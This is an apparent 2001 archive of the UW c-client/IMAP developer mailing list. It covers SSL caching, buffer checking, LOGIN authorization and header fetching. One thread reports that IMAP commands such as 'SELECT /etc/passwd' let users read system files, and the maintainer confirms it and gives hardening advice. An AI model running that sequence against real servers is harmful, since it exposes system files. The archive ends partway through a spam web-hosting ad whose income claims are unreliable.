list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f8MJYoA19671; Sat, 22 Sep 2001 12:34:50 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f8MJYVA27662; Sat, 22 Sep 2001 12:34:31 -0700 Received: from mxu102.u.washington.edu (mxu102.u.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f8MJVTN66238 for ; Sat, 22 Sep 2001 12:31:29 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by mxu102.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f8MJVPE27101 for ; Sat, 22 Sep 2001 12:31:29 -0700 Received: FROM arthur.runestig.com BY mxu2.u.washington.edu ; Sat Sep 22 12:31:25 2001 -0700 Received: from morgana (fw.kldata.cc [195.67.47.227]) by arthur.runestig.com (8.9.3/8.9.3) with SMTP id VAA29490 for ; Sat, 22 Sep 2001 21:31:18 +0200 Message-Id: <001201c1439d$5ff59120$0201010a@runestig.com> Date: Sat, 22 Sep 2001 21:32:53 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Peter 'Luna' Runestig" To: Subject: Re: SSL session caching? References: <200109211508.RAA26948@arthur.runestig.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > Are there any plans to implement some kind of SSL/TLS session caching? It would > be a great performance boost for MUA's that makes multiple imap connections. Never mind, local tests on PIII/750 shows that I overestimated the gains: connection speedup was below one second. Sorry about the noice... Cheers, - Peter ---------------------------------------------------------------- Peter 'Luna' Runestig (fd. Altberg), Sweden PGP Key ID: 0xD07BBE13 Fingerprint: 7B5C 1F48 2997 C061 DE4B 42EA CB99 A35C D07B BE13 AOL Instant Messenger Screenname: PRunestig From pinedev@shivax2.cac.washington.edu Tue Sep 25 08:47:57 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 25 Sep 2001 08:47:54 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f8PFlri16933 for ; Tue, 25 Sep 2001 08:47:53 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Tue Sep 25 08:47:53 2001 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f8PFloA19406; Tue, 25 Sep 2001 08:47:50 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f8PFl8s35236; Tue, 25 Sep 2001 08:47:08 -0700 Received: from mxu103.u.washington.edu (mxu103.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f8PF5IN112470 for ; Tue, 25 Sep 2001 08:05:18 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by mxu103.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f8PF5Hv29651 for ; Tue, 25 Sep 2001 08:05:17 -0700 Received: FROM mhub2.czajsoft.pl BY mxu3.u.washington.edu ; Tue Sep 25 08:05:14 2001 -0700 Received: (qmail-ldap/ctrl 25773 invoked from network); 25 Sep 2001 15:07:52 -0000 Received: from localhost (czajnik@[127.0.0.1]) (envelope-sender ) by localhost (qmail-ldap-1.03) with SMTP for ; 25 Sep 2001 15:07:52 -0000 Message-Id: Date: Tue, 25 Sep 2001 17:07:51 +0200 (CEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Przemyslaw Wegrzyn To: Subject: Securing uw-imapd MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I have recentyl discovered that user can do something like this: 00 LOGIN user pass 00 SELECT /etc/passwd 00 FETCH 1 RFC822.TEXT How can I restrict users to access files below their homes only ? -=Czaj-nick=- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Sep 27 15:31:57 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 27 Sep 2001 15:31:56 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f8RMVtF29045 for ; Thu, 27 Sep 2001 15:31:55 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Thu Sep 27 15:31:54 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f8RMVmA27881; Thu, 27 Sep 2001 15:31:48 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f8RMVIr25180; Thu, 27 Sep 2001 15:31:18 -0700 Received: from mxu104.u.washington.edu (mxu104.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f8RMRlN64618 for ; Thu, 27 Sep 2001 15:27:47 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by mxu104.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f8RMRlp03058 for ; Thu, 27 Sep 2001 15:27:47 -0700 Received: FROM Tomobiki-Cho.CAC.Washington.EDU BY mxu4.u.washington.edu ; Thu Sep 27 15:27:47 2001 -0700 Message-Id: Date: Thu, 27 Sep 2001 15:27:04 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Vadim Zeitlin Cc: c-client Subject: Re: buffer size checking in rfc822_[write_]address? In-Reply-To: <200109041329.PAA15820@seth.lpthe.jussieu.fr> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 4 Sep 2001, Vadim Zeitlin wrote: > are there any plans to add checks for the provided buffer size (i.e. an > additional size_t argument) for these 2 functions? These are very old functions (from the very first version of c-client!) and, as you discovered, don't buffer check. It was a kinder gentler world back then, when nobody sent messages to 100+ addresses unless they were using a defined mailing list, and you got flamed if you had more than about 10 lines of header in your message... :-) You need to do something like what is done by mail_search_addr() to limit check your buffer. Pine does something similar. Eventually, something better will be done, but it is low down on my list of priorities since it'll involve an interface change (meaning compatibility macros, sigh). -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Thu Sep 27 18:22:46 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 27 Sep 2001 18:22:41 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f8S1MeF27039 for ; Thu, 27 Sep 2001 18:22:40 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Thu Sep 27 18:22:40 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f8S1MWA01215; Thu, 27 Sep 2001 18:22:32 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f8S1MLr31956; Thu, 27 Sep 2001 18:22:21 -0700 Received: from mxu101.u.washington.edu (mxu101.u.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f8S1LNN84988 for ; Thu, 27 Sep 2001 18:21:23 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by mxu101.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f8S1LN706606 for ; Thu, 27 Sep 2001 18:21:23 -0700 Received: FROM Tomobiki-Cho.CAC.Washington.EDU BY mxu1.u.washington.edu ; Thu Sep 27 18:21:21 2001 -0700 Message-Id: Date: Thu, 27 Sep 2001 18:21:17 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Jonnie Cc: c-client@u.washington.edu Subject: Re: authentication identity vs. authorization identity In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 17 Sep 2001, Jonnie wrote: > Is there something special I need to know / do to get > authentication identity vs. authorization identity working > with UW-IMAP 2000.287 ? If you are using the c-client library in your program, you should use the /authuser= switch instead of relying upon the "*" hack > I've tried stuff like > > tag LOGIN userA*userB userBpassword > > but I get > tag BAD Missing required argument to LOGIN > > what am I doing wrong? You have to quote any token that has an * in it, e.g. tag LOGIN "userA*userB" userBpassword Once again, the * hack to LOGIN is a hack. You should be using SASL authentication (AUTHENTICATE command) instead. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Thu Sep 27 19:41:22 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 27 Sep 2001 19:41:21 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f8S2fKF05901 for ; Thu, 27 Sep 2001 19:41:20 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Thu Sep 27 19:41:19 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f8S2fHW06476; Thu, 27 Sep 2001 19:41:17 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f8S2dtA18806; Thu, 27 Sep 2001 19:39:55 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f8S2d6N54464 for ; Thu, 27 Sep 2001 19:39:06 -0700 Received: FROM mxu4.u.washington.edu BY mailscan1.cac.washington.edu ; Thu Sep 27 19:39:02 2001 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (cecil@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f8S2d2Q19888 for ; Thu, 27 Sep 2001 19:39:02 -0700 Message-Id: Date: Thu, 27 Sep 2001 19:38:56 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Przemyslaw Wegrzyn Cc: c-client@u.washington.edu Subject: Re: Securing uw-imapd In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 25 Sep 2001, Przemyslaw Wegrzyn wrote: > I have recentyl discovered that user can do something like this: > > 00 LOGIN user pass > 00 SELECT /etc/passwd > 00 FETCH 1 RFC822.TEXT That is correct. A user of a default-configured imapd can access any file that he can access from the shell. > How can I restrict users to access files below their homes only ? Refer to imap-2001/docs/CONFIG for a pointer to the routine which translates a mailbox name to a file name. Hack that routine so that any unapproved name doesn't work. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Fri Sep 28 14:45:19 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 28 Sep 2001 14:45:14 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f8SLjCF22788 for ; Fri, 28 Sep 2001 14:45:13 -0700 (PDT) Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f8SLj9W06206; Fri, 28 Sep 2001 14:45:09 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f8SLirK33038; Fri, 28 Sep 2001 14:44:54 -0700 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f8SLhQN60762 for ; Fri, 28 Sep 2001 14:43:26 -0700 Received: FROM mxu2.u.washington.edu BY mailscan2.cac.washington.edu ; Fri Sep 28 14:43:26 2001 -0700 Received: from john.connect.org.uk (nobody@john.connect.org.uk [193.41.154.10]) by mxu2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f8SLhPu16858 for ; Fri, 28 Sep 2001 14:43:25 -0700 Received: from mmail by john.connect.org.uk with local (connectmail/exim) id 15n5PY-0005FA-00; Fri, 28 Sep 2001 22:43:08 +0100 Message-Id: Date: Fri, 28 Sep 2001 22:43:08 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jonnie" To: "Mark Crispin" Cc: Subject: Re: authentication identity vs. authorization identity In-Reply-To: X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Thank you! Things are much clearer now. I'm working on expiring messages from our users 'Sent' and 'Trash' folders. > > > If you are using the c-client library in your program, you should use the > /authuser= switch instead of relying upon the "*" hack > > > I've tried stuff like > > > > tag LOGIN userA*userB userBpassword > > > > but I get > > tag BAD Missing required argument to LOGIN > > > > what am I doing wrong? > > You have to quote any token that has an * in it, e.g. > tag LOGIN "userA*userB" userBpassword > > Once again, the * hack to LOGIN is a hack. You should be using SASL > authentication (AUTHENTICATE command) instead. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > > > -------------------------------------------------------------------- Get your own FREE local e-mail address at http://www.merseymail.com/ From pinedev@shivax2.cac.washington.edu Mon Oct 1 19:42:07 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 1 Oct 2001 19:42:07 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f922g5F01753 for ; Mon, 1 Oct 2001 19:42:06 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Mon Oct 01 19:41:58 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f922fwL10439; Mon, 1 Oct 2001 19:41:58 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f922fPr08920; Mon, 1 Oct 2001 19:41:25 -0700 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f922ctN44378 for ; Mon, 1 Oct 2001 19:38:55 -0700 Received: FROM mxu1.u.washington.edu BY mailscan2.cac.washington.edu ; Mon Oct 01 19:38:54 2001 -0700 Received: from imo-d06.mx.aol.com (imo-d06.mx.aol.com [205.188.157.38]) by mxu1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f922crw21472 for ; Mon, 1 Oct 2001 19:38:53 -0700 Received: from BrendaGSpielman@cs.com by imo-d06.mx.aol.com (mail_out_v31_r1.7.) id d.6d.1b3b1c91 (3312) for ; Mon, 1 Oct 2001 22:38:43 -0400 (EDT) Message-Id: <6d.1b3b1c91.28ea82b3@cs.com> Date: Mon, 1 Oct 2001 22:38:43 EDT Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: BrendaGSpielman@cs.com To: c-client@u.washington.edu Subject: Disposition-Notification-To MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="part1_6d.1b3b1c91.28ea82b3_boundary" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --part1_6d.1b3b1c91.28ea82b3_boundary Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit It appears to me that c-client does not provide a way to access the Disposition-Notification-To header (RFC2298) in a message. Is this correct, or am I missing something? --part1_6d.1b3b1c91.28ea82b3_boundary Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: 7bit It appears to me that c-client does not provide a way to access the Disposition-Notification-To header (RFC2298) in a message.    Is this correct, or am I missing something?

    --part1_6d.1b3b1c91.28ea82b3_boundary-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Oct 1 19:45:29 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 1 Oct 2001 19:45:29 -0700 (PDT) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f922jSF17261 for ; Mon, 1 Oct 2001 19:45:28 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY mailscan2.cac.washington.edu ; Mon Oct 01 19:45:15 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f922jFL10510; Mon, 1 Oct 2001 19:45:15 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f922ivA16806; Mon, 1 Oct 2001 19:44:57 -0700 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f922iIN81492 for ; Mon, 1 Oct 2001 19:44:18 -0700 Received: FROM mxu2.u.washington.edu BY mailscan2.cac.washington.edu ; Mon Oct 01 19:44:17 2001 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f922iHu22908 for ; Mon, 1 Oct 2001 19:44:17 -0700 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxout2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f922iHs25037; Mon, 1 Oct 2001 19:44:17 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (shawn@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f922iHo02301; Mon, 1 Oct 2001 19:44:17 -0700 Message-Id: Date: Mon, 1 Oct 2001 19:43:41 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: BrendaGSpielman@cs.com Cc: c-client@u.washington.edu Subject: re: Disposition-Notification-To In-Reply-To: <6d.1b3b1c91.28ea82b3@cs.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN You can fetch any arbitrary header via the "lines" argument to mail_fetch_header(). From pinedev@shivax2.cac.washington.edu Wed Oct 3 07:35:39 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 3 Oct 2001 07:35:38 -0700 (PDT) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f93EZbF03935 for ; Wed, 3 Oct 2001 07:35:38 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY mailscan6.cac.washington.edu ; Wed Oct 03 07:35:30 2001 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f93EZUL06010; Wed, 3 Oct 2001 07:35:30 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f93EZ7Z34708; Wed, 3 Oct 2001 07:35:07 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f93EXMN100128 for ; Wed, 3 Oct 2001 07:33:22 -0700 Received: FROM mxu4.u.washington.edu BY mailscan3.cac.washington.edu ; Wed Oct 03 07:33:21 2001 -0700 Received: from stratus.swi.com.br (IDENT:root@stratus.swi.com.br [200.203.204.140]) by mxu4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f93EXJQ10965 for ; Wed, 3 Oct 2001 07:33:19 -0700 Received: from speedy.swi (titan.swi.com.br [200.203.204.141]) by stratus.swi.com.br (8.11.1/8.11.1) with ESMTP id f93ESCg23723 for ; Wed, 3 Oct 2001 11:28:12 -0300 Message-Id: <200110031428.f93ESCg23723@stratus.swi.com.br> Date: Wed, 3 Oct 2001 11:28:12 -0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Raul Dias To: c-client@u.washington.edu Subject: controlling bandwidth usage Content-Type: text/plain; charset="ISO-8859-1" Content-Disposition: inline Content-Transfer-Encoding: 7bit MIME-Version: 1.0 X-Local-Destination: X-Local-Origin: chaos@swi.com.br X-Gateway: Speedway Internet Service http://www.swi.com.br X-Secret: http://www.swi.com.br/~chaos/cmc/cmc_secret X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I am having a problem recently regarding bandwidth usage. I have a lot of users who check their e-mail from outside of my network. most of this users have higher badwidth to the net than my network has. This make possible to a few user to consume (easely) all my bandwith. Is there something about controlling bandwidth in imap/pop3 server? docs, patchs, ideas. Anything is welcomed. What I am looking for is a way to control the bandwith from the ipop3/imapd servers and not the whole host. Controling the bandwith usage based on the client (no limit for the internal network) is even better. I am looking forward to patch uw-imap myself if no other solution is possible. Regards, Raul Dias -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Oct 4 17:29:24 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 4 Oct 2001 17:29:23 -0700 (PDT) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f950TMF23332 for ; Thu, 4 Oct 2001 17:29:22 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Thu Oct 04 17:29:11 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f950TBH11716; Thu, 4 Oct 2001 17:29:11 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f950Sr034364; Thu, 4 Oct 2001 17:28:53 -0700 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f950QRN94324 for ; Thu, 4 Oct 2001 17:26:27 -0700 Received: FROM mxu4.u.washington.edu BY mailscan4.cac.washington.edu ; Thu Oct 04 17:26:27 2001 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by mxu4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f950QRQ32498 for ; Thu, 4 Oct 2001 17:26:27 -0700 Received: FROM mx2.cac.washington.edu BY mailscan6.cac.washington.edu ; Thu Oct 04 17:26:23 2001 -0700 Received: from gateway.brueggemann.de (firewall.janus.net [195.4.94.9]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f950QNL09534 for ; Thu, 4 Oct 2001 17:26:23 -0700 Received: from central.brueggemann.de (central.brueggemann.de [53.101.70.8]) by gateway.brueggemann.de (8.11.2/8.11.2/SuSE Linux 8.11.1-0.5) with ESMTP id f952Ptu24789; Fri, 5 Oct 2001 04:25:55 +0200 Received: from Yahoo.com ([192.168.250.9]) by central.brueggemann.de (Lotus Domino Release 5.0.6a) with SMTP id 2001100502155125:13280 ; Fri, 5 Oct 2001 02:15:51 +0200 Message-Id: Date: Thu, 4 Oct 2001 20:15:24 -0400 Reply-To: webmaster4692@yahoo.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: owner-c-client@CAC.Washington.EDU To: "" Subject: ADV: Web Design? I still make more money than you at it! 29244 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii X-Priority: 3 (Normal) X-MIMETrack: Itemize by SMTP Server on central.brueggemann.de/Brueggemann(Release 5.0.6a |January 17, 2001) at 05.10.2001 02:15:56, MIME-CD by Trend Mailscan on central.brueggemann.de/Brueggemann(Release 5.0.6a |January 17, 2001) at 05.10.2001 02:15:57, MIME-CD complete at 05.10.2001 02:15:57, Serialize by Router on central.brueggemann.de/Brueggemann(Release 5.0.6a |January 17, 2001) at 05.10.2001 02:19:44 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I bet that I make more money in the Web design business than you do. My sales pitch looks like this: Free Website! Free .com, .net, or .org name! Free First Month! Free Shopping Cart for E-commerce! Free Secure Credit Card Transaction Server Access! Free Website Editor! (Allows you to control your entire site from anywhere in the world with nothing more than your Internet browser!) Free Website Statistics Analysis! Unlimited everything! Unlimited Email Addresses! Unlimited Hosting Space! Unlimited Bandwidth! Unlimited Pages! Unlimited Capacity of items in the Shopping Cart! Fastest Websites!!! (Hosted on the best servers and bandwidth anywhere!) Website Promotion Options... There is nothing left to add to this service! If you can use a word processor, You can manage your own website! Only $35/month after your first FREE month! Everything you need to be doing business online NOW is here for only $25! (Limited time offer) I have been advertising this pitch on the front of my website for my design business 1 month, I have received over 40 signups. People SIGNUP EVERY SINGLE DAY. Almost, they bunch up on the weekends often. 1 month= $1560 income that comes in every month with no work! I will beat that number this month easily, but assuming I just keep up the same pace, next month will net $3,120 PROFIT. FOR A FACT I will be netting at least $10,720 a month by the end of the year. I got that number after subtracting $8000 to account for cancellations down the line. That is a ton of money! I can not even think of a way to not hit that number unless I completely stopped doing everything. My service is also better. You can't give anyone the as much value as I can. You can't give them the power to control their site as I can. You can't give them the prices that I can. You can't get them online as fast as I can. And even if somehow you found a way to do all that, you won't able to keep your customers as long as I do. Wow. Don't believe me? The interface I give my customers is easier to use than any other I have seen. It is by far the best web based interface you will ever see. A monkey would have a hard time making a site look bad with the software I include for my Customers. I charge them $35 a month and I only pay $10! I know I could charge a lot more for the service, but I am more interested in getting as many customers as possible now, than I am on making more on them. If you did the numbers to make sure I wasn't making them up, you'll see $560 missing this month. Where did it come from? There is an optional search engine submission program, that 70 percent of the people that signup opt for, I charge them $30/month. I pay $10. If they do decide they would like custom work done, no problem. I do it for them, and they don't try to bother me to change little things all the time on their site, because I give them the power to do it themselves, which they prefer. I like it to, keeps my time free for things I enjoy. In addition to being able to get at customers you can't, and being able to upsell them to all the custom design work I like, when ever I like, I bet I have a whole bunch of other things you DO NOT HAVE. Private Labeled to me Website Builder/Store Builder (Best Anywhere) Private Labeled to me Shopping Cart 